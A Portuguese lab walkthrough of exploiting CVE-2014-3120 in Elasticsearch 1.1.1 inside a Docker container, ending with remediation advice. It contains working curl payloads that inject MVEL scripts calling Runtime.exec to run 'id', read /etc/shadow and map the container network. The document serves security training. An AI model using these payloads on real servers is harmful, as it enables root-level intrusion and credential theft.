
Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker.
Começando com o que está em execução no ambiente. Listamos todos os contêineres ativos:
docker ps

Resultado: O contêiner p1/lab10:latest está em execução, expondo 2 portas externamente:
| Mapeamento de portas | Protocolo |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (precisa de verificação) |
0.0.0.0:9300 → 9300/tcp | Desconhecido |
Observação inicial: As portas 9200 e 9300 são comumente conhecidas como as portas padrão do Elasticsearch. No entanto, não podemos concluir apenas com base nos números das portas - muitos outros serviços podem se vincular a qualquer porta.
⇒ Usamos curl diretamente em cada porta para verificar qual serviço está realmente em execução.
curl -i http://192.168.3.137:9300/

Análise da resposta:
curl: (52) Empty reply from serverAvaliação: O servidor aceitou a conexão TCP (sem recusa de conexão), mas não respondeu usando o protocolo HTTP. Isso corresponde ao comportamento do protocolo de transporte do Elasticsearch na porta 9300 - um protocolo binário usado para comunicação entre nós em um cluster, não HTTP.
⇒ Mentalidade: A Porta 9300 usa um protocolo binário → não pode ser explorada diretamente via curl/navegador. Mude para verificar a porta 9200 - a porta da API REST HTTP.
curl -i http://192.168.3.137:9200/

Análise da resposta:
Avaliação da Superfície de Ataque:

⇒ Mentalidade: O Elasticsearch 1.1.1 habilita Dynamic Scripting por padrão - permitindo que clientes enviem scripts (expressões MVEL) em consultas de pesquisa para o servidor executar. Sem um sandbox ou validação adequada, um atacante pode injetar um script malicioso para executar comandos do sistema. Próximo passo: verificar se o Dynamic Scripting está realmente ativo no alvo.
O Elasticsearch suporta um recurso de Scripting - permitindo que clientes enviem scripts (expressões matemáticas ou lógicas) dentro de solicitações de pesquisa para o servidor executar ao processar resultados. No Elasticsearch 1.x, o motor padrão para esse recurso é MVEL (MVFLEX Expression Language).
Nas versões do Elasticsearch anteriores à 1.2, o Dynamic Scripting está habilitado por padrão (script.disable_dynamic: false). Isso significa:
script_fields na API _searchjava.lang.Runtime.getRuntime().exec() para executar comandos do sistemascript_fields FuncionaQuando uma solicitação de pesquisa com script_fields é enviada, o Elasticsearch irá:
_searchscript_fields → encontrar o script a ser executadoEm Java, a maneira mais comum de executar um comando de sistema é:
Runtime.getRuntime().exec("command");
MVEL, como uma linguagem de expressão com acesso total a classes Java, permite invocar isso diretamente:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explicando cada parte:
⇒ Mentalidade: Com o Elasticsearch, a saída do RCE é retornada diretamente na resposta — sem necessidade de redirecionar para um arquivo e lê-lo novamente. Isso torna o exploit mais limpo e rápido de verificar.
Após identificar o alvo como Elasticsearch 1.1.1, o próximo passo é verificar se o Dynamic Scripting está realmente habilitado.
CVE-2014-3120 explora o fato de que o Elasticsearch permite que clientes enviem scripts dentro de solicitações _search. Se o script for executado pelo servidor, um atacante pode substituir a expressão inofensiva por um payload que chama o Java Runtime para executar comandos do sistema.
Primeiro, criamos um documento de teste para garantir que a consulta tenha pelo menos um resultado correspondente. Se nenhum documento corresponder, script_fields não será avaliado.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Em seguida, atualizamos o índice:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Próximo passo, enviamos uma solicitação _search com script_fields contendo uma expressão MVEL inofensiva:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Enviamos o script "1+1" e o servidor retorna o resultado 2. Isso prova que o Elasticsearch não apenas recebe a solicitação _search, mas executa o script dinâmico no lado do servidor.
⇒ Dynamic Scripting está ativo no alvo.
Como o alvo é Elasticsearch 1.1.1, anterior à 1.2, isso corresponde aos requisitos de exploração da CVE-2014-3120: Elasticsearch anterior à versão 1.2 habilita Dynamic Scripting por padrão, permitindo que um atacante remoto execute expressões MVEL/código Java através de uma solicitação de pesquisa.
Verificamos que script_fields é executado pelo Elasticsearch no lado do servidor através da expressão inofensiva "1+1" retornando [2].
Isso prova que o alvo não apenas permite pesquisas padrão, mas também permite que clientes enviem um script MVEL para o servidor avaliar durante o processamento de _search.
Com a CVE-2014-3120, o risco crítico reside no fato de que o MVEL no Elasticsearch 1.1.1 pode acessar classes Java. Portanto, em vez de enviar uma expressão matemática como "1+1", um atacante pode enviar um script chamando o Java Runtime:
Runtime.getRuntime().exec("command")
Esta é a API Java padrão usada para criar um novo processo e executar comandos no sistema operacional.
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
Payload RCE:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Detalhamento do Payload:
Resultado:
A resposta retorna o campo fields.exploit contendo a saída do comando id:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Análise:
O payload invocou com sucesso Runtime.getRuntime().exec("id") através do script MVEL dentro de script_fields. O fato de a resposta retornar a saída do comando id prova que o comando foi executado no lado do servidor.
O resultado uid=0(root) gid=0(root) groups=0(root) indica que o processo Elasticsearch dentro do contêiner está sendo executado com privilégios root.
Após confirmar o RCE, os privilégios reais devem ser verificados tentando ler arquivos sensíveis:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Resultado Observado:
A resposta retorna o conteúdo do arquivo /etc/shadow:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Análise:
O arquivo /etc/shadow é um arquivo sensível do sistema no Linux, que geralmente só é legível pelo usuário root ou por processos com privilégios equivalentes. No passo anterior, o comando id retornou:
uid=0(root) gid=0(root) groups=0(root)
Este passo confirma ainda mais isso pelo comportamento real: o payload RCE é capaz de ler com sucesso /etc/shadow.
⇒ O Elasticsearch dentro do contêiner está sendo executado com privilégios root.
⇒ O impacto não se limita à execução típica de comandos, mas é RCE com privilégios root dentro do contêiner.
Nota: O privilégio root aqui se refere a root dentro do contêiner Docker. Não podemos concluir que o atacante tem privilégios root no host sem evidências de que o contêiner está sendo executado como privilegiado, montando o socket Docker ou montando volumes sensíveis do host.
RCE está confirmado. Prosseguimos para coletar informações do sistema para avaliar o escopo.
Após confirmar RCE com privilégios root, executamos o comando ls -la / através do payload MVEL para observar o sistema de arquivos dentro do alvo:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Resultado: A resposta retorna o conteúdo do diretório / no campo rootfs.
Análise:
O fato de a saída de ls -la / aparecer na resposta JSON prova que o comando foi executado no alvo via RCE. Arquivos como docker-entrypoint.sh, o diretório elasticsearch e o symlink docker-java-home indicam que o ambiente comprometido é um contêiner executando Elasticsearch.
⇒ O atacante pode listar o sistema de arquivos dentro do contêiner com privilégios root.
Como o contêiner não possui o binário /sbin/ifconfig, lemos /proc/net/route diretamente. Este arquivo não requer utilitários externos e fornece a tabela de roteamento do contêiner.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Análise:
Os resultados mostram que o contêiner tem a interface eth0 e reside dentro da rede Docker 172.19.0.0/16. O gateway padrão é 172.19.0.1.
Isso prova que o contêiner tem conectividade de rede interna através da bridge Docker. Como o atacante já tem RCE com privilégios root dentro do contêiner, ele poderia teoricamente prosseguir para inspecionar outros hosts/serviços na mesma rede Docker se as políticas de rede permitirem.
No entanto, esta saída apenas prova visibilidade de rede no nível de roteamento, não um pivoting bem-sucedido. Concluir um pivoting requer evidências adicionais, como escanear com sucesso outro host, conectar-se a um serviço interno ou recuperar recursos de outra rede.
Com base nas evidências coletadas durante a análise, o alvo está executando Elasticsearch 1.1.1 na porta 9200. Esta versão é anterior à 1.2, colocando-a dentro do escopo afetado da CVE-2014-3120.
A vulnerabilidade decorre do Elasticsearch habilitar Dynamic Scripting por padrão antes da versão 1.2, o que permite que clientes enviem scripts MVEL através de solicitações de pesquisa. Neste laboratório, este recurso foi confirmado funcional usando a expressão inofensiva "1+1", que retornou o resultado [2].
Posteriormente, o payload MVEL invocou:
Runtime.getRuntime().exec("id")
A resposta retornou:
uid=0(root) gid=0(root) groups=0(root)
Isso prova que um atacante pode executar comandos do sistema através do Elasticsearch. Além disso, o payload leu com sucesso /etc/shadow, confirmando que o privilégio de execução é root dentro do contêiner.
1. Atualizar o Elasticsearch para uma versão mais recente
Atualizar o Elasticsearch para a versão >= 1.2.0 (mínimo) ou idealmente para a versão atualmente suportada (8.x). A partir da versão 1.2, o Dynamic Scripting está desabilitado por padrão.
2. Desabilitar o Dynamic Scripting imediatamente (se a atualização não for viável)
Adicionar o seguinte ao elasticsearch.yml:
script.disable_dynamic: true
Reiniciar o Elasticsearch após fazer esta alteração. Isso desabilita completamente a capacidade dos clientes de enviar scripts dentro de solicitações de pesquisa.
3. Não expor a API REST do Elasticsearch a redes não confiáveis
O Elasticsearch não possui autenticação padrão na versão 1.x. Se precisar ser exposto, coloque-o atrás de um proxy reverso com autenticação ou vincule apenas a 127.0.0.1.
4. Habilitar autenticação e criptografia
Versões modernas do Elasticsearch (7.x+) suportam segurança integrada (autenticação, TLS). Se atualizado, habilite os recursos de segurança:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Restringir o acesso usando um firewall
Permitir apenas IPs confiáveis acessar as portas 9200 e 9300. Não expor elas à internet ou a toda a rede interna.
6. Executar o Elasticsearch como um usuário de baixo privilégio
Não executar o Elasticsearch sob o usuário root. Criar um usuário dedicado elasticsearch com privilégios mínimos. Esta é uma prática recomendada oficial:
| Campo | Valor | Significado |
|---|
name | "Rage" | Nome do nó do Elasticsearch (nome de personagem aleatório da Marvel - comportamento padrão de versões antigas do ES) |
version.number | "1.1.1" | Versão extremamente antiga - lançada em abril de 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Construída em 2014 |
lucene_version | "4.7" | Lucene 4.7 - mecanismo de indexação antigo |
tagline | "You Know, for Search" | Frase de assinatura característica do Elasticsearch |
| Parte | Explicação |
|---|
import java.io.* | Importa classes Java IO |
Runtime.getRuntime() | Obtém a instância do Java Runtime |
.exec("id") | Executa o comando shell id |
.getInputStream() | Obtém o fluxo de saída do processo |
new Scanner(...).useDelimiter("\\A").next() | Lê toda a saída como uma string |
| Parte | Propósito |
|---|
"size": 1 | Limita o resultado a 1 documento |
"query" → "match_all" | Corresponde a todos os documentos (requer que pelo menos 1 documento exista no índice) |
"script_fields" → "exploit" | Define um campo computado executando o script MVEL |
"script": "import java.io.*; ..." | Expressão MVEL que executa o comando id e retorna a saída |
| Critério | Avaliação | Detalhes |
|---|
| CVE | CVE-2014-3120 | Elasticsearch Dynamic Scripting RCE |
| Serviço Afetado | Elasticsearch | API REST exposta na porta 9200 |
| Versão | 1.1.1 | Anterior à 1.2, está dentro das versões afetadas |
| Autenticação | Não necessária no laboratório | API REST responde diretamente, sem credenciais exigidas |
| Condições de Exploração | Dynamic Scripting habilitado | Confirmado pelo script "1+1" retornando [2] |
| Privilégios Obtidos | root no contêiner | id retorna uid=0(root) |
| Impacto | Muito Alto | RCE, leitura de arquivos sensíveis, listagem do sistema de arquivos, coleta de detalhes do usuário/rede |
| Escopo | Contêiner | Nenhuma evidência de comprometimento do host ainda |
| Pivoting | Potencial para verificação adicional | Contêiner tem uma rota via eth0 na rede Docker 172.19.0.0/16 |